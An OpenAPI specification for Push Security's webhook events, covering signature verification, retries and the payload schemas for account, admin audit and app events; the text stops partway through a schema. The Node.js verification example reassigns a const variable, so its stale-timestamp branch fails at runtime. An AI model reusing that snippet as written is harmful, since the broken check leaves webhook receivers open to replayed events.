openapi: 3.0.3
info:
  title: Push Security Webhooks
  version: v1
  description: >
    ## Overview


    Configure webhooks for the Push Security platform and receive real-time
    updates when events occur.


    Each webhook event has the following:

    * Versioning

    * Idempotency key

    * Metadata

    * New and old objects to show exactly what has changed

    * A signature for verifying sender authenticity


    ## Creating webhooks


    To create or manage your webhooks, go to the
    [Settings](https://pushsecurity.com/app/settings/webhooks) page in the Push
    admin console.


    ## Acknowledging an event


    Your endpoint has 5 seconds to respond with a `200 OK` (or any other 2xx
    response). Otherwise, retry behavior will be triggered.


    ## Retry behavior


    Each event will be sent a maximum of 4 times at the following time
    intervals:

    * Immediately

    * After 1 minute

    * After 5 minutes

    * After 15 minutes


    If the event is acknowledged within a 5-second window, no more retries will
    be attempted.


    Each retry of the event will have a newly generated `X-Signature`, but the
    event `id` will be the same for all retries.


    ## Handling duplicate events


    The payload body is JSON-encoded and contains an idempotency key named `id`.
    If you want to ensure that you handle an event exactly once, please store
    this value and compare it against incoming events. This can be used to
    discard duplicate events that have been delivered more than once.


    ## Verifying signatures


    Each event has a header `X-Signature` which contains 2 parts:

    * A UNIX timestamp value `t` (in seconds)

    * An HMAC-SHA-256 value `v1` which contains the payload signature to check
    using your webhook secret obtained at the time you created it


    Here is an example of how it is formatted:

    ```

    X-Signature:
    t=1698349494,v1=0E01666E58BC2E6C64E9A5DA66C28CF9D88C3E342CCFC029D56B749A4B4282CE

    ```


    To calculate and verify the signature, perform the following steps:

    1. Parse the `X-Signature` header by splitting it first by `,` and then by
    `=` to obtain key-value pairs.

    2. Store the `t` (timestamp) and `v1` (signature) values in variables.

    3. Concatenate the value of `t` (as a string) with a `.` and the JSON
    request body (in its raw format).

    4. Use the HMAC-SHA256 algorithm to compute the hash of the concatenated
    string.

    5. Compare the computed HMAC with the `v1` value from the header to verify
    the signature.

    6. Additionally, check the timestamp (`t`) and compare it to the current
    time. If the difference is bigger than 35 mins (or your preferable
    threshold) you should discard the event to avoid replay attacks.


    Example in Python:


    ```py

    import json

    import hmac

    import hashlib

    import time


    # Your secret key for the webhook

    SECRET_KEY = b'psws_ad9d0bba8260baf774c3821acaff1b7d'


    # Example header and request body (you would normally get these from the
    incoming HTTP request)

    example_header =
    't=1698349494,v1=0E01666E58BC2E6C64E9A5DA66C28CF9D88C3E342CCFC029D56B749A4B4282CE'

    example_request_body = json.dumps({"key": "value"})


    # Step 1: Parse the header

    elements = example_header.split(',')

    parsed_header = {}

    for element in elements:
        key, value = element.split('=')
        parsed_header[key] = value

    # Step 2: Store 't' and 'v1' values in variables

    received_t = parsed_header.get('t')

    received_v1 = parsed_header.get('v1')


    # Step 3: Concatenate 't' value with '.' and the JSON request body

    payload = f"{received_t}.{example_request_body}"


    # Step 4: Compute the HMAC using SHA256

    computed_hmac = hmac.new(SECRET_KEY, payload.encode(),
    hashlib.sha256).hexdigest().upper()


    # Step 5: Compare the signature

    is_valid = hmac.compare_digest(received_v1, computed_hmac)


    # Step 6: Check the timestamp

    current_time = int(time.time())

    time_difference = current_time - int(received_t)

    if time_difference > 2100:  # 35 minutes
        is_valid = False
        message = "Timestamp is too old."
    else:
        message = "Signature verified" if is_valid else "Signature mismatch"

    print(f"Is the signature valid? {is_valid}. Message: {message}")

    ```


    Example in Node.js:


    ```js

    const crypto = require('crypto');


    // Your secret key for the webhook

    const SECRET_KEY = 'psws_ad9d0bba8260baf774c3821acaff1b7d';


    // Example header and request body (you'd normally get these from the
    incoming HTTP request)

    const exampleHeader =
    't=1698349494,v1=0E01666E58BC2E6C64E9A5DA66C28CF9D88C3E342CCFC029D56B749A4B4282CE';

    const exampleRequestBody = JSON.stringify({ key: 'value' });


    // Step 1: Parse the header

    const elements = exampleHeader.split(',');

    const parsedHeader = {};

    elements.forEach((element) => {
      const [key, value] = element.split('=');
      parsedHeader[key] = value;
    });


    // Step 2: Store 't' and 'v1' values in variables

    const receivedT = parsedHeader['t'];

    const receivedV1 = parsedHeader['v1'];


    // Step 3: Concatenate 't' value with '.' and the JSON request body

    const payload = `${receivedT}.${exampleRequestBody}`;


    // Step 4: Compute the HMAC using SHA256

    const computedHmac = crypto.createHmac('sha256',
    SECRET_KEY).update(payload).digest('hex');


    // Step 5: Compare the signature

    const isValid = crypto.timingSafeEqual(Buffer.from(receivedV1, 'hex'),
    Buffer.from(computedHmac, 'hex'));


    // Step 6: Check the timestamp

    const currentTime = Math.floor(Date.now() / 1000);

    const timeDifference = currentTime - parseInt(receivedT, 10);

    let message;


    if (timeDifference > 2100) {  // 35 minutes
      isValid = false;
      message = 'Timestamp is too old.';
    } else {
      message = isValid ? 'Signature verified' : 'Signature mismatch';
    }


    console.log(`Is the signature valid? ${isValid}. Message: ${message}`);


    ```


    ## Versioning


    The payload body is JSON-encoded and contains a value named `version`.
    You're currently working with version 1 of the Push Security webhooks.
    Should there be any breaking changes in the future, we'll bump up this
    version number. If you have any webhooks configured, we'll send you
    notifications over email about the deprecation date for the older version.


    ## Custom headers


    Some SIEMs or other external systems where you may wish to send Push webhook
    events require a custom HTTP header for authorization. You can configure a
    custom header for webhooks in the Push admin console.


    Go to **Settings** > **Webhooks** and add a new webhook. You will see a
    dropdown option for **Custom headers**.


    Then enter a header key and value. Note that once your header key and value
    are entered, you will not be able to view them again, as they may contain
    secrets.


    ## Filtering events


    You may wish to send only specific types (or categories) of Push webhook
    events to your receiver. You can configure this when creating a new webhook
    in the Push admin console.


    Go to **Settings** > **Webhooks** and add a new webhook. You will see a
    dropdown option for **Select events**.


    Then you can select the specific events, or categories of events, to enable.
    If you select a category, any new events that are added to that category
    later (as part of new features released) will also be sent.
  contact:
    name: support
    email: support@pushsecurity.com
    url: https://pushsecurity.com/contact/
  termsOfService: https://pushsecurity.com/legal/terms/
  license:
    url: https://pushsecurity.com/legal/terms/
    name: Commercial
servers:
  - url: https://api.pushsecurity.com
paths: {}
x-webhooks:
  account:
    post:
      summary: Account
      operationId: account-event
      parameters:
        - name: X-Signature
          in: header
          required: true
          schema:
            type: string
          example: 'X-Signature: t=1492774577,v1=5257a869...'
      requestBody:
        description: An account was created, updated or deleted.
        content:
          application/json:
            schema:
              type: object
              properties:
                version:
                  type: string
                  description: The version of the event.
                  example: '1'
                id:
                  type: string
                  format: uuid
                  description: >-
                    The unique identifier for the event. This can be used as an
                    idempotency key.
                  example: c478966c-f927-411c-b919-179832d3d50c
                timestamp:
                  type: integer
                  description: >-
                    When the event occurred, formatted as a UNIX timestamp (in
                    seconds).
                  example: 1698604061
                category:
                  type: string
                  enum:
                    - ENTITY
                  description: The category of the event.
                description:
                  type: string
                  description: >-
                    The description of the event. Note: this is subject to
                    change and should not be used to match on this object.
                  example: employee@example.com on Google Workspace updated
                type:
                  type: string
                  enum:
                    - CREATE
                    - UPDATE
                    - DELETE
                  description: The type of event that occurred.
                object:
                  type: string
                  enum:
                    - ACCOUNT
                  description: The object that was created, updated or deleted.
                friendlyName:
                  type: string
                  description: >-
                    The friendly name of this object. Note: this is subject to
                    change and should not be used to match on this object.
                  example: Account
                new:
                  $ref: '#/components/schemas/AccountEvent'
                  description: >-
                    The new state of the object. This is `null` when the event
                    type is `DELETE`.
                old:
                  $ref: '#/components/schemas/AccountEvent'
                  description: >-
                    The previous state of the object. This is `null` when the
                    event type is `CREATE`.
      responses:
        2XX:
          description: >-
            Return any 2XX status to indicate that the data was received
            successfully
      tags:
        - Events
        - Entities
  account-login-method-removed:
    post:
      summary: Account login method removed
      description: A login method for an account has been removed
      operationId: account-login-method-removed-event
      parameters:
        - name: X-Signature
          in: header
          required: true
          schema:
            type: string
          example: 'X-Signature: t=1492774577,v1=5257a869...'
      requestBody:
        content:
          application/json:
            schema:
              type: object
              properties:
                version:
                  type: string
                  description: The version of the event.
                  example: '1'
                id:
                  type: string
                  format: uuid
                  description: >-
                    The unique identifier for the event. This can be used as an
                    idempotency key.
                  example: c478966c-f927-411c-b919-179832d3d50c
                timestamp:
                  type: integer
                  description: >-
                    When the event occurred, formatted as a UNIX timestamp (in
                    seconds).
                  example: 1698604061
                category:
                  type: string
                  enum:
                    - AUDIT
                  description: The category of the event.
                description:
                  type: string
                  description: >-
                    The description of the event. Note: this is subject to
                    change and should not be used to match on this object.
                  example: user@example.com removed a login method for an account
                object:
                  type: string
                  enum:
                    - ACCOUNT_LOGIN_METHOD_REMOVED
                  description: The object that was created.
                friendlyName:
                  type: string
                  description: >-
                    The friendly name of this object. Note: this is subject to
                    change and should not be used to match on this object.
                  example: Account login method removed
                actor:
                  oneOf:
                    - $ref: '#/components/schemas/AdminAuditLogActor'
                    - $ref: '#/components/schemas/AdminAuditLogActorAPI'
                new:
                  type: object
                  properties:
                    accountId:
                      type: string
                      description: The ID of the account.
                      example: 2a2197de-ad2c-47e4-8dcb-fb0f04cf83e0
                    accountEmail:
                      type: string
                      description: The email address associated with the account.
                      example: employee@example.com
                    appType:
                      type: string
                      description: The name of the app.
                      example: ATLASSIAN
                    loginMethod:
                      type: string
                      enum:
                        - USERNAME_PASSWORD
                        - OKTA_SWA
                        - OIDC
                        - SAML
                        - FEDCM
                      description: The login method removed from the account.
                      example: OIDC
                  required:
                    - accountId
                    - accountEmail
                    - appType
                    - loginMethod
              required:
                - version
                - id
                - timestamp
                - category
                - object
                - actor
                - new
      responses:
        2XX:
          description: >-
            Return any 2XX status to indicate that the data was received
            successfully
      tags:
        - Audit
        - Admin
  accounts_other:
    post:
      summary: Account (Other)
      operationId: account-other-event
      parameters:
        - name: X-Signature
          in: header
          required: true
          schema:
            type: string
          example: 'X-Signature: t=1492774577,v1=5257a869...'
      requestBody:
        description: An account (Other) was created, updated or deleted.
        content:
          application/json:
            schema:
              type: object
              properties:
                version:
                  type: string
                  description: The version of the event.
                  example: '1'
                id:
                  type: string
                  format: uuid
                  description: >-
                    The unique identifier for the event. This can be used as an
                    idempotency key.
                  example: c478966c-f927-411c-b919-179832d3d50c
                timestamp:
                  type: integer
                  description: >-
                    When the event occurred, formatted as a UNIX timestamp (in
                    seconds).
                  example: 1698604061
                type:
                  type: string
                  enum:
                    - CREATE
                    - UPDATE
                    - DELETE
                  description: The type of event that occurred.
                category:
                  type: string
                  enum:
                    - ENTITY
                  description: The category of the event.
                description:
                  type: string
                  description: >-
                    The description of the event. Note: this is subject to
                    change and should not be used to match on this object.
                  example: >-
                    user@example.com updated on other app
                    (c478966c-f927-411c-b919-179832d3d50c)
                object:
                  type: string
                  enum:
                    - ACCOUNT_OTHER
                  description: The object that was created, updated or deleted.
                friendlyName:
                  type: string
                  description: >-
                    The friendly name of this object. Note: this is subject to
                    change and should not be used to match on this object.
                  example: Account (Other)
                new:
                  $ref: '#/components/schemas/AccountOther'
                  description: >-
                    The new state of the object. This is `null` when the event
                    type is `DELETE`.
                old:
                  $ref: '#/components/schemas/AccountOther'
                  description: >-
                    The previous state of the object. This is `null` when the
                    event type is `CREATE`.
      responses:
        2XX:
          description: >-
            Return any 2XX status to indicate that the data was received
            successfully
      tags:
        - Events
        - Entities
  admin-accepted-invitation:
    post:
      summary: Admin accepted invitation
      description: A new admin user has accepted the invitation.
      operationId: admin-accepted-invitation-event
      parameters:
        - name: X-Signature
          in: header
          required: true
          schema:
            type: string
          example: 'X-Signature: t=1492774577,v1=5257a869...'
      requestBody:
        content:
          application/json:
            schema:
              type: object
              properties:
                version:
                  type: string
                  description: The version of the event.
                  example: '1'
                id:
                  type: string
                  format: uuid
                  description: >-
                    The unique identifier for the event. This can be used as an
                    idempotency key.
                  example: c478966c-f927-411c-b919-179832d3d50c
                timestamp:
                  type: integer
                  description: >-
                    When the event occurred, formatted as a UNIX timestamp (in
                    seconds).
                  example: 1698604061
                category:
                  type: string
                  enum:
                    - AUDIT
                  description: The category of the event.
                description:
                  type: string
                  description: >-
                    The description of the event. Note: this is subject to
                    change and should not be used to match on this object.
                  example: user@example.com joined your team
                object:
                  type: string
                  enum:
                    - ADMIN_ACCEPTED_INVITATION
                  description: The object that was created.
                friendlyName:
                  type: string
                  description: >-
                    The friendly name of this object. Note: this is subject to
                    change and should not be used to match on this object.
                  example: Admin accepted invitation
                actor:
                  $ref: '#/components/schemas/AdminAuditLogActor'
                  description: Information about the user that performed the action.
                new:
                  type: object
                  properties:
                    inviter:
                      type: string
                      description: The email address of the admin that sent the invitation.
              required:
                - version
                - id
                - timestamp
                - category
                - object
                - actor
                - new
      responses:
        2XX:
          description: >-
            Return any 2XX status to indicate that the data was received
            successfully
      tags:
        - Audit
        - Admin
  admin-enabled-mfa:
    post:
      summary: Admin enabled MFA
      description: An admin user has enabled MFA for their account.
      operationId: admin-enabled-mfa-event
      parameters:
        - name: X-Signature
          in: header
          required: true
          schema:
            type: string
          example: 'X-Signature: t=1492774577,v1=5257a869...'
      requestBody:
        content:
          application/json:
            schema:
              type: object
              properties:
                version:
                  type: string
                  description: The version of the event.
                  example: '1'
                id:
                  type: string
                  format: uuid
                  description: >-
                    The unique identifier for the event. This can be used as an
                    idempotency key.
                  example: c478966c-f927-411c-b919-179832d3d50c
                timestamp:
                  type: integer
                  description: >-
                    When the event occurred, formatted as a UNIX timestamp (in
                    seconds).
                  example: 1698604061
                category:
                  type: string
                  enum:
                    - AUDIT
                  description: The category of the event.
                description:
                  type: string
                  description: >-
                    The description of the event. Note: this is subject to
                    change and should not be used to match on this object.
                  example: user@example.com enabled MFA on their Push account
                object:
                  type: string
                  enum:
                    - ADMIN_ENABLED_MFA
                  description: The object that was created.
                friendlyName:
                  type: string
                  description: >-
                    The friendly name of this object. Note: this is subject to
                    change and should not be used to match on this object.
                  example: Admin enabled MFA
                actor:
                  $ref: '#/components/schemas/AdminAuditLogActor'
                  description: Information about the user that performed the action.
                new:
                  type: object
                  properties:
                    method:
                      type: string
                      enum:
                        - APP_TOTP
                      description: The MFA method used.
                  required:
                    - method
              required:
                - version
                - id
                - timestamp
                - category
                - object
                - actor
                - new
      responses:
        2XX:
          description: >-
            Return any 2XX status to indicate that the data was received
            successfully
      tags:
        - Audit
        - Admin
  admin-exported-data:
    post:
      summary: Admin exported data
      description: An admin user has exported data.
      operationId: admin-exported-data-event
      parameters:
        - name: X-Signature
          in: header
          required: true
          schema:
            type: string
          example: 'X-Signature: t=1492774577,v1=5257a869...'
      requestBody:
        content:
          application/json:
            schema:
              type: object
              properties:
                version:
                  type: string
                  description: The version of the event.
                  example: '1'
                id:
                  type: string
                  format: uuid
                  description: >-
                    The unique identifier for the event. This can be used as an
                    idempotency key.
                  example: c478966c-f927-411c-b919-179832d3d50c
                timestamp:
                  type: integer
                  description: >-
                    When the event occurred, formatted as a UNIX timestamp (in
                    seconds).
                  example: 1698604061
                category:
                  type: string
                  enum:
                    - AUDIT
                  description: The category of the event.
                description:
                  type: string
                  description: >-
                    The description of the event. Note: this is subject to
                    change and should not be used to match on this object.
                  example: user@example.com exported employee data
                object:
                  type: string
                  enum:
                    - ADMIN_EXPORTED_DATA
                  description: The object that was created.
                friendlyName:
                  type: string
                  description: >-
                    The friendly name of this object. Note: this is subject to
                    change and should not be used to match on this object.
                  example: Admin exported data
                actor:
                  $ref: '#/components/schemas/AdminAuditLogActor'
                  description: Information about the user that performed the action.
                new:
                  type: object
                  properties:
                    entity:
                      type: string
                      description: The entity that was exported.
                      enum:
                        - APP
                        - APP_OTHER
                        - ACCOUNT
                        - BROWSER
                        - EMPLOYEE
                        - OAUTH_APP
                    arguments:
                      type: object
                      description: The arguments used in the query.
                  required:
                    - entity
                    - arguments
              required:
                - version
                - id
                - timestamp
                - category
                - object
                - actor
                - new
      responses:
        2XX:
          description: >-
            Return any 2XX status to indicate that the data was received
            successfully
      tags:
        - Audit
        - Admin
  admin-loaded-data:
    post:
      summary: Admin loaded data
      description: >
        An admin user has loaded data.


        Note: this event will only be emitted if extended admin audit logging is

        enabled. [Learn
        more](https://pushsecurity.com/help/audience/administrators/docs/administering-push/#admin-audit-events)
      operationId: admin-loaded-data-event
      parameters:
        - name: X-Signature
          in: header
          required: true
          schema:
            type: string
          example: 'X-Signature: t=1492774577,v1=5257a869...'
      requestBody:
        content:
          application/json:
            schema:
              type: object
              properties:
                version:
                  type: string
                  description: The version of the event.
                  example: '1'
                id:
                  type: string
                  format: uuid
                  description: >-
                    The unique identifier for the event. This can be used as an
                    idempotency key.
                  example: c478966c-f927-411c-b919-179832d3d50c
                timestamp:
                  type: integer
                  description: >-
                    When the event occurred, formatted as a UNIX timestamp (in
                    seconds).
                  example: 1698604061
                category:
                  type: string
                  enum:
                    - AUDIT
                  description: The category of the event.
                description:
                  type: string
                  description: >
                    The description of the event.


                    Note: this is subject to change and should not be used to
                    match on this object.
                  example: user@example.com listed employees
                object:
                  type: string
                  enum:
                    - ADMIN_LOADED_DATA
                  description: The object that was created.
                friendlyName:
                  type: string
                  description: >
                    The friendly name of this object.


                    Note: this is subject to change and should not be used to
                    match on this object.
                  example: Admin loaded data
                actor:
                  $ref: '#/components/schemas/AdminAuditLogActor'
                  description: Information about the user that performed the action.
                new:
                  type: object
                  properties:
                    query:
                      type: string
                      description: The query performed to load the data.
                    arguments:
                      type: object
                      description: The arguments used in the query.
                  required:
                    - query
                    - arguments
              required:
                - version
                - id
                - timestamp
                - category
                - object
                - actor
                - new
      responses:
        2XX:
          description: >-
            Return any 2XX status to indicate that the data was received
            successfully
      tags:
        - Audit
        - Admin
  admin-logged-in:
    post:
      summary: Admin logged in
      description: An admin user has logged in.
      operationId: admin-logged-in-event
      parameters:
        - name: X-Signature
          in: header
          required: true
          schema:
            type: string
          example: 'X-Signature: t=1492774577,v1=5257a869...'
      requestBody:
        content:
          application/json:
            schema:
              type: object
              properties:
                version:
                  type: string
                  description: The version of the event.
                  example: '1'
                id:
                  type: string
                  format: uuid
                  description: >-
                    The unique identifier for the event. This can be used as an
                    idempotency key.
                  example: c478966c-f927-411c-b919-179832d3d50c
                timestamp:
                  type: integer
                  description: >-
                    When the event occurred, formatted as a UNIX timestamp (in
                    seconds).
                  example: 1698604061
                category:
                  type: string
                  enum:
                    - AUDIT
                  description: The category of the event.
                description:
                  type: string
                  description: >-
                    The description of the event. Note: this is subject to
                    change and should not be used to match on this object.
                  example: user@example.com logged into the Push platform
                object:
                  type: string
                  enum:
                    - ADMIN_LOGGED_IN
                  description: The object that was created.
                friendlyName:
                  type: string
                  description: >-
                    The friendly name of this object. Note: this is subject to
                    change and should not be used to match on this object.
                  example: Admin logged in
                actor:
                  $ref: '#/components/schemas/AdminAuditLogActor'
                  description: Information about the user that performed the action.
              required:
                - version
                - id
                - timestamp
                - category
                - object
                - actor
      responses:
        2XX:
          description: >-
            Return any 2XX status to indicate that the data was received
            successfully
      tags:
        - Audit
        - Admin
  admin-removed:
    post:
      summary: Admin removed
      description: An admin user has been removed.
      operationId: admin-removed-event
      parameters:
        - name: X-Signature
          in: header
          required: true
          schema:
            type: string
          example: 'X-Signature: t=1492774577,v1=5257a869...'
      requestBody:
        content:
          application/json:
            schema:
              type: object
              properties:
                version:
                  type: string
                  description: The version of the event.
                  example: '1'
                id:
                  type: string
                  format: uuid
                  description: >-
                    The unique identifier for the event. This can be used as an
                    idempotency key.
                  example: c478966c-f927-411c-b919-179832d3d50c
                timestamp:
                  type: integer
                  description: >-
                    When the event occurred, formatted as a UNIX timestamp (in
                    seconds).
                  example: 1698604061
                category:
                  type: string
                  enum:
                    - AUDIT
                  description: The category of the event.
                description:
                  type: string
                  description: >-
                    The description of the event. Note: this is subject to
                    change and should not be used to match on this object.
                  example: >-
                    user@example.com removed another.user@example.com from your
                    team
                object:
                  type: string
                  enum:
                    - ADMIN_REMOVED
                  description: The object that was created.
                friendlyName:
                  type: string
                  description: >-
                    The friendly name of this object. Note: this is subject to
                    change and should not be used to match on this object.
                  example: Admin removed
                actor:
                  $ref: '#/components/schemas/AdminAuditLogActor'
                  description: >-
                    Information about the admin user that performed the
                    deletion.
                new:
                  type: object
                  properties:
                    target:
                      type: string
                      description: The email address of the removed admin user.
                  required:
                    - target
              required:
                - version
                - id
                - timestamp
                - category
                - object
                - actor
                - new
      responses:
        2XX:
          description: >-
            Return any 2XX status to indicate that the data was received
            successfully
      tags:
        - Audit
        - Admin
  admin-role-updated:
    post:
      summary: Admin role updated
      description: An admin user has updated another user's role.
      operationId: admin-role-updated-event
      parameters:
        - name: X-Signature
          in: header
          required: true
          schema:
            type: string
          example: 'X-Signature: t=1492774577,v1=5257a869...'
      requestBody:
        content:
          application/json:
            schema:
              type: object
              properties:
                version:
                  type: string
                  description: The version of the event.
                  example: '1'
                id:
                  type: string
                  format: uuid
                  description: >-
                    The unique identifier for the event. This can be used as an
                    idempotency key.
                  example: c478966c-f927-411c-b919-179832d3d50c
                timestamp:
                  type: integer
                  description: >-
                    When the event occurred, formatted as a UNIX timestamp (in
                    seconds).
                  example: 1698604061
                category:
                  type: string
                  enum:
                    - AUDIT
                  description: The category of the event.
                description:
                  type: string
                  description: >-
                    The description of the event. Note: this is subject to
                    change and should not be used to match on this object.
                  example: >-
                    user@example.com updated the role for target@example.com to
                    Read Only
                object:
                  type: string
                  enum:
                    - ADMIN_ROLE_UPDATED
                  description: The object that was created.
                friendlyName:
                  type: string
                  description: >-
                    The friendly name of this object. Note: this is subject to
                    change and should not be used to match on this object.
                  example: Admin role updated
                actor:
                  $ref: '#/components/schemas/AdminAuditLogActor'
                  description: Information about the user that performed the action.
                new:
                  type: object
                  properties:
                    targetEmail:
                      type: string
                      description: >-
                        The email address of the admin user whose role was
                        updated.
                      example: target@example.com
                    role:
                      $ref: '#/components/schemas/RoleType'
              required:
                - version
                - id
                - timestamp
                - category
                - object
                - actor
                - new
      responses:
        2XX:
          description: >-
            Return any 2XX status to indicate that the data was received
            successfully
      tags:
        - Audit
        - Admin
  api-key-added:
    post:
      summary: API key added
      description: An admin user has added a new API Key.
      operationId: api-key-added-event
      parameters:
        - name: X-Signature
          in: header
          required: true
          schema:
            type: string
          example: 'X-Signature: t=1492774577,v1=5257a869...'
      requestBody:
        content:
          application/json:
            schema:
              type: object
              properties:
                version:
                  type: string
                  description: The version of the event.
                  example: '1'
                id:
                  type: string
                  format: uuid
                  description: >-
                    The unique identifier for the event. This can be used as an
                    idempotency key.
                  example: c478966c-f927-411c-b919-179832d3d50c
                timestamp:
                  type: integer
                  description: >-
                    When the event occurred, formatted as a UNIX timestamp (in
                    seconds).
                  example: 1698604061
                category:
                  type: string
                  enum:
                    - AUDIT
                  description: The category of the event.
                description:
                  type: string
                  description: >-
                    The description of the event. Note: this is subject to
                    change and should not be used to match on this object.
                  example: user@example.com configured a new API Key
                object:
                  type: string
                  enum:
                    - API_KEY_ADDED
                  description: The object that was created.
                friendlyName:
                  type: string
                  description: >-
                    The friendly name of this object. Note: this is subject to
                    change and should not be used to match on this object.
                  example: API key added
                actor:
                  $ref: '#/components/schemas/AdminAuditLogActor'
                new:
                  type: object
                  properties:
                    name:
                      type: string
                      description: A friendly name for the API Key, if one is chosen.
                      example: CI/CD access
                    permissions:
                      type: string
                      description: The permissions granted to the API key.
                      enum:
                        - FULL_ACCESS
                        - READ_ONLY
                      x-enumDescriptions:
                        FULL_ACCESS: Allows all request types to all endpoints in the API
                        READ_ONLY: Allows only GET requests to the API
                  required:
                    - permissions
              required:
                - version
                - id
                - timestamp
                - category
                - object
                - actor
                - new
      responses:
        2XX:
          description: >-
            Return any 2XX status to indicate that the data was received
            successfully
      tags:
        - Audit
        - Admin
  api-key-removed:
    post:
      summary: API key removed
      description: An admin user has removed an API Key.
      operationId: api-key-removed-event
      parameters:
        - name: X-Signature
          in: header
          required: true
          schema:
            type: string
          example: 'X-Signature: t=1492774577,v1=5257a869...'
      requestBody:
        content:
          application/json:
            schema:
              type: object
              properties:
                version:
                  type: string
                  description: The version of the event.
                  example: '1'
                id:
                  type: string
                  format: uuid
                  description: >-
                    The unique identifier for the event. This can be used as an
                    idempotency key.
                  example: c478966c-f927-411c-b919-179832d3d50c
                timestamp:
                  type: integer
                  description: >-
                    When the event occurred, formatted as a UNIX timestamp (in
                    seconds).
                  example: 1698604061
                category:
                  type: string
                  enum:
                    - AUDIT
                  description: The category of the event.
                description:
                  type: string
                  description: >-
                    The description of the event. Note: this is subject to
                    change and should not be used to match on this object.
                  example: user@example.com removed an existing API Key
                object:
                  type: string
                  enum:
                    - API_KEY_REMOVED
                  description: The object that was created.
                friendlyName:
                  type: string
                  description: >-
                    The friendly name of this object. Note: this is subject to
                    change and should not be used to match on this object.
                  example: API key removed
                actor:
                  $ref: '#/components/schemas/AdminAuditLogActor'
                new:
                  type: object
                  properties:
                    name:
                      type: string
                      description: A friendly name for the API Key, if one is chosen.
                      example: CI/CD access
              required:
                - version
                - id
                - timestamp
                - category
                - object
                - actor
                - new
      responses:
        2XX:
          description: >-
            Return any 2XX status to indicate that the data was received
            successfully
      tags:
        - Audit
        - Admin
  app:
    post:
      summary: App
      operationId: app-event
      parameters:
        - name: X-Signature
          in: header
          required: true
          schema:
            type: string
          example: 'X-Signature: t=1492774577,v1=5257a869...'
      requestBody:
        description: An app was created, updated or deleted.
        content:
          application/json:
            schema:
              type: object
              properties:
                version:
                  type: string
                  description: The version of the event.
                  example: '1'
                id:
                  type: string
                  format: uuid
                  description: >-
                    The unique identifier for the event. This can be used as an
                    idempotency key.
                  example: c478966c-f927-411c-b919-179832d3d50c
                timestamp:
                  type: integer
                  description: >-
                    When the event occurred, formatted as a UNIX timestamp (in
                    seconds).
                  example: 1698604061
                type:
                  type: string
                  enum:
                    - CREATE
                    - UPDATE
                    - DELETE
                  description: The type of event that occurred.
                category:
                  type: string
                  enum:
                    - ENTITY
                  description: The category of the event.
                description:
                  type: string
                  description: >-
                    The description of the event. Note: this is subject to
                    change and should not be used to match on this object.
                  example: Google Workspace first observed
                object:
                  type: string
                  enum:
                    - APP
                  description: The object that was created, updated or deleted.
                friendlyName:
                  type: string
                  description: >-
                    The friendly name of this object. Note: this is subject to
                    change and should not be used to match on this object.
                  example: App
                new:
                  $ref: '#/components/schemas/AppEvent'
                  description: >-
                    The new state of the object. This is `null` when the event
                    type is `DELETE`.
                old:
                  $ref: '#/components/schemas/AppEvent'
                  description: >-
                    The previous state of the object. This is `null` when the
                    event type is `CREATE`.
      responses:
        2XX:
          description: >-
            Return any 2XX status to indicate that the data was received
            successfully
      tags:
        - Events
        - Entities
  app-approval-status-updated:
    post:
      summary: App approval status updated
      description: The approval status of an app has been updated
      operationId: app-approval-status-updated-event
      parameters:
        - name: X-Signature
          in: header
          required: true
          schema:
            type: string
          example: 'X-Signature: t=1492774577,v1=5257a869...'
      requestBody:
        content:
          application/json:
            schema:
              type: object
              properties:
                version:
                  type: string
                  description: The version of the event.
                  example: '1'
                id:
                  type: string
                  format: uuid
                  description: >-
                    The unique identifier for the event. This can be used as an
                    idempotency key.
                  example: c478966c-f927-411c-b919-179832d3d50c
                timestamp:
                  type: integer
                  description: >-
                    When the event occurred, formatted as a UNIX timestamp (in
                    seconds).
                  example: 1698604061
                category:
                  type: string
                  enum:
                    - AUDIT
                  description: The category of the event.
                description:
                  type: string
                  description: >-
                    The description of the event. Note: this is subject to
                    change and should not be used to match on this object.
                  example: user@example.com updated the app approval status
                object:
                  type: string
                  enum:
                    - APP_APPROVAL_STATUS_UPDATED
                  description: The object that was created.
                friendlyName:
                  type: string
                  description: >-
                    The friendly name of this object. Note: this is subject to
                    change and should not be used to match on this object.
                  example: App approval status updated
                actor:
                  oneOf:
                    - $ref: '#/components/schemas/AdminAuditLogActor'
                    - $ref: '#/components/schemas/AdminAuditLogActorAPI'
                new:
                  type: object
                  properties:
                    appId:
                      type: string
                      description: The ID of the app.
                      example: 2a2197de-ad2c-47e4-8dcb-fb0f04cf83e0
                    appType:
                      type: string
                      description: The name of the app.
                      example: ATLASSIAN
                    approvalStatus:
                      type: string
                      description: The approval status of the app after the update.
                      nullable: true
                  required:
                    - appId
                    - appType
                    - approvalStatus
              required:
                - version
                - id
                - timestamp
                - category
                - object
                - actor
                - new
      responses:
        2XX:
          description: >-
            Return any 2XX status to indicate that the data was received
            successfully
      tags:
        - Audit
        - Admin
  app-banner:
    post:
      summary: App banner
      operationId: app-banner-event
      parameters:
        - name: X-Signature
          in: header
          required: true
          schema:
            type: string
          example: 'X-Signature: t=1492774577,v1=5257a869...'
      requestBody:
        description: An app banner event was detected.
        content:
          application/json:
            schema:
              type: object
              properties:
                version:
                  type: string
                  description: The version of the event.
                  example: '1'
                id:
                  type: string
                  format: uuid
                  description: >-
                    The unique identifier for the event. This can be used as an
                    idempotency key.
                  example: c478966c-f927-411c-b919-179832d3d50c
                timestamp:
                  type: integer
                  description: >-
                    When the event occurred, formatted as a UNIX timestamp (in
                    seconds).
                  example: 1698604061
                category:
                  type: string
                  enum:
                    - CONTROL
                  description: The category of the event.
                description:
                  type: string
                  description: >-
                    The description of the event. Note: this is subject to
                    change and should not be used to match on this object.
                  example: user@example.com saw a banner on Google Workspace
                object:
                  type: string
                  enum:
                    - APP_BANNER
                  description: The object that was created.
                friendlyName:
                  type: string
                  description: >-
                    The friendly name of this object. Note: this is subject to
                    change and should not be used to match on this object.
                  example: App banner
                new:
                  $ref: '#/components/schemas/AppBannerEvent'
                  description: App banner event details.
      responses:
        2XX:
          description: >-
            Return any 2XX status to indicate that the data was received
            successfully
      tags:
        - Events
        - Controls
  app-banner-configured:
    post:
      deprecated: true
      summary: App banner configured
      description: An app banner was configured.
      operationId: app-banner-configured-event
      parameters:
        - name: X-Signature
          in: header
          required: true
          schema:
            type: string
          example: 'X-Signature: t=1492774577,v1=5257a869...'
      requestBody:
        content:
          application/json:
            schema:
              type: object
              properties:
                version:
                  type: string
                  description: The version of the event.
                  example: '1'
                id:
                  type: string
                  format: uuid
                  description: >-
                    The unique identifier for the event. This can be used as an
                    idempotency key.
